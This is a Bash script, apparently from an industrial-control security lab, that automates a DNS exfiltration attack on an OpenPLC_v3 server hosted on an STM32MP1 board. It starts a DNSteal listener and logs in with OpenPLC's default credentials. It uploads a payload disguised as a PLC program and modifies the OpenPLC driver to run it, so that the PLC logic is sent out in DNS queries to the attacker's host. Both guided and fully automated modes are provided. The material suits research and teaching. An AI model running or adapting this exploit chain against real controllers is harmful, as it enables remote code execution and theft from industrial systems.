#!/bin/bash
# Copyright (C) 2025 CEA - All Rights Reserved
# 
# This program is free software: you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation, either version 3 of the License, or (at your option) any later
# version.
# 
# This program is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of  MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License along with
# this program.  If not, see <http://www.gnu.org/licenses/>.


# 1) UTILITY FUNCTIONS
# This section contains utility functions that assist with various tasks in the attack process

# Functions to print warning messages
YELLOW="\e[33m"
RESET="\e[0m"

function echo_warning {
    local message="$1"
    echo -e "${YELLOW}[warning] ${message}${RESET}"
}

# Function to request necessary information for performing the attack
get_attack_info(){
	read -p "[+] Please enter the STM32MP1 IP address : " target_ip_address
	while ! (ping -c 1 -W 2 $target_ip_address > /dev/null 2>&1) 
	do
		echo ""
		echo "[!] Invalid IP address or host unreachable"
		read -p "[+] Please enter the STM32MP1 IP address : " target_ip_address
	done

	local_ip=$(ip route get $target_ip_address | grep -oP 'src \K[\d.]+')
}

# Function to start DNSteal
start_DNSteal(){
	cd "$SCRIPT_DIR/scripts/"
	./clone_dnsteal.sh
	if [ $? -ne 0 ]; then
		echo "[!] Failed to clone or patch DNSteal."
		exit 1
	fi

	echo ""
	cd "$SCRIPT_DIR"
	echo "[+] Starting DNSteal."
	(python3 dnsteal/dnsteal.py $local_ip -z > /dev/null) & 
	pid_dnsteal=$!

	sleep 4
	if ! ps -p $pid_dnsteal > /dev/null; then
    	echo "[!] Failed to start DNSteal. Ensure that port 53 is not already in use by another service."
		exit 1
	fi

	echo ""
	echo_warning "DNSteal is now running in the background on port 53. If this script is stopped unexpectedly (e.g., using Ctrl + C), DNSteal will continue running. To stop it, you will need to manually terminate the DNSteal process."
}

# Function to execute remote code on the OpenPLC web server by injecting and running a malicious script into OpenPLC's driver
remote_code_execution(){
	cd "$SCRIPT_DIR/scripts/"

	echo "[+] Starting remote code execution on OpenPLC_v3 WebServer"
	python3 -u attack.py $target_ip_address $OPENPLC_WEBSERVER_PORT "$OPENPLC_USERNAME" "$OPENPLC_PASSWORD" $local_ip
    if [ $? -ne 0 ]; then
        echo "[!] Remote code execution failed."
		kill -2 $pid_dnsteal 
        exit 1
    fi

	echo "[+] Stopping DNSteal"
	# IMPORTANT: We MUST use 'kill -2' to gracefully stop DNSteal. A more forceful termination (e.g., 'kill -15') will prevent DNSteal from saving the output file.
	kill -2 $pid_dnsteal 

	echo ""
	echo "The extracted file is saved in the 'received_<current_date>_<current_time>_<file_name>' file"
}

# Function to execute the entire attack process
run_attack(){
	start_DNSteal
	
	echo ""
	remote_code_execution
}



# 2) ATTACK MODES
# This section defines different attack modes, alowing either user interaction or full automation.

# Function to guide the user through each step of the DNS exfiltration attack
attack_step_by_step(){
	echo ""
	echo "======== STEP 1 : Configure Attack Parameters ========"
	echo ""
	echo "[+] First, you need to know the IP address of the STM32MP1 where OpenPLC is hosted."
	get_attack_info

	echo ""
	echo "======== STEP 2 : Start DNSteal ========"
	echo ""
    echo "[+] We can now proceed with running the 'dnsteal.py' Python script. This script will listen on port 53 of your machine."
	echo "[+] It will wait for DNS packets and extract any data hidden in the domain names, reassembling the file you want to exfiltrate."
	echo "[+] Press ENTER to start DNSteal..."
	read -n 1 wait
	start_DNSteal

	echo ""
	echo "======== STEP 3 : Inject Payload ========"
	echo ""
    echo "[+] Now, we will upload the 'payload.sh' Bash script to the OpenPLC server as if it were a new PLC program."
    echo "[+] This script will send DNS packets containing the file data to be exfiltrated."
    echo "[+] In order to execute this script, we need to modify the OpenPLC driver."
	echo "[+] The OpenPLC driver is a program that runs before the PLC logic starts and is normally used to handle the inputs and outputs at hardware layer. "
    echo "[+] The modified driver includes instructions to run the previously uploaded Bash script."
	echo "[+] It will trigger the execution of the 'payload.sh' Bash script and remove it once the exfiltration is complete."
	echo "[+] Press ENTER to proceed with the attack..."
	read -n 1 wait
	remote_code_execution

	echo ""
	echo "[+] If you want to replay the attack with the non interactive mode, the command is :"
	echo "sudo ./exploit.sh -all ${target_ip_address} "
}

# Function to guide the user through necessary input and then run the attack without further explanation
attack_interactive(){
	get_attack_info

	echo ""
	run_attack
}

# Function to fully automate the attack process without user interaction
attack_automated(){
	local_ip=$(ip route get $target_ip_address | grep -oP 'src \K[\d.]+')

    case $attack_phase in
        (-a|-all)
            run_attack
            ;;
        (-s|-setup)
            echo "[!] This attack does not have an setup phase."
			exit 1
            ;;
        (-p|-prepare)
            echo "[!] This attack does not have an preparation phase."
			exit 1
            ;;
        (-e|-exploit)
            run_attack
            ;;
        (*)
            echo "[!] Invalid argument. Use -a|-all, -s|-setup, -p|-prepare, or e|-exploit."
            exit 1
    esac

	echo -e "\n======== END : ATTACK ENDED ========\n"
	exit 0
}



# 3) BEGINNING OF THE SCRIPT EXECUTION
# Main entry point of the script, handles initial checks and user options.

set -m

echo "=========================================================================================== " 
echo "	 _____  _   _  _____   ______       __ _ _ _             _   _       "      
echo "	|  __ \| \ | |/ ____| |  ____|     / _(_) | |           | | (_)      "      
echo "	| |  | |  \| | (___   | |__  __  _| |_ _| | |_ _ __ __ _| |_ _  ___  _ __  "
echo '	| |  | | . ` |\___ \  |  __| \ \/ /  _| | | __| `__/ _` | __| |/ _ \| `_ \ '
echo "	| |__| | |\  |____) | | |____ >  <| | | | | |_| | | (_| | |_| | (_) | | | |"
echo "	|_____/|_| \_|_____/  |______/_/\_\_| |_|_|\__|_|  \__,_|\__|_|\___/|_| |_|"
echo
echo "=========================================================================================== "                                                                        
                                                                                                                                 
echo ""
echo "[+] You are about to initiate a DNS Exfiltration attack !"
echo "[+] The goal of this attack is to retrieve the PLC logic via DNS packets."
echo ""

# General configuration variables
SCRIPT_DIR="$(realpath "$(dirname "$0")")"
OPENPLC_WEBSERVER_PORT=8080
OPENPLC_USERNAME="openplc"
OPENPLC_PASSWORD="openplc"

# Check if the script is run as root
if [ "$(id -u)" != "0" ]; then
   echo "[!] This script must be run as root." 1>&2
   echo "[!] Usage: sudo $0"
   exit 1
fi

# If script is executed with exactly 2 arguments, run the attack automatically with this argument
if [ $# -eq 2 ]; then
	attack_phase=$1
	target_ip_address=$2
	attack_automated
fi

# Main loop to choose between interactive or step-by-step attack mode
while true;
do
	read -p  "[+] Choose interactive mode ('i') or step by step mode ('s'): " attack_mode

	case $attack_mode in
		(i|I)
			attack_interactive
			break
			;;
		(s|S)
			attack_step_by_step
			break
			;;
		(*)
			echo -e "[!] Invalid option.\n"
			;;
	esac
done

echo -e "\n======== END : ATTACK ENDED ========\n"
exit 0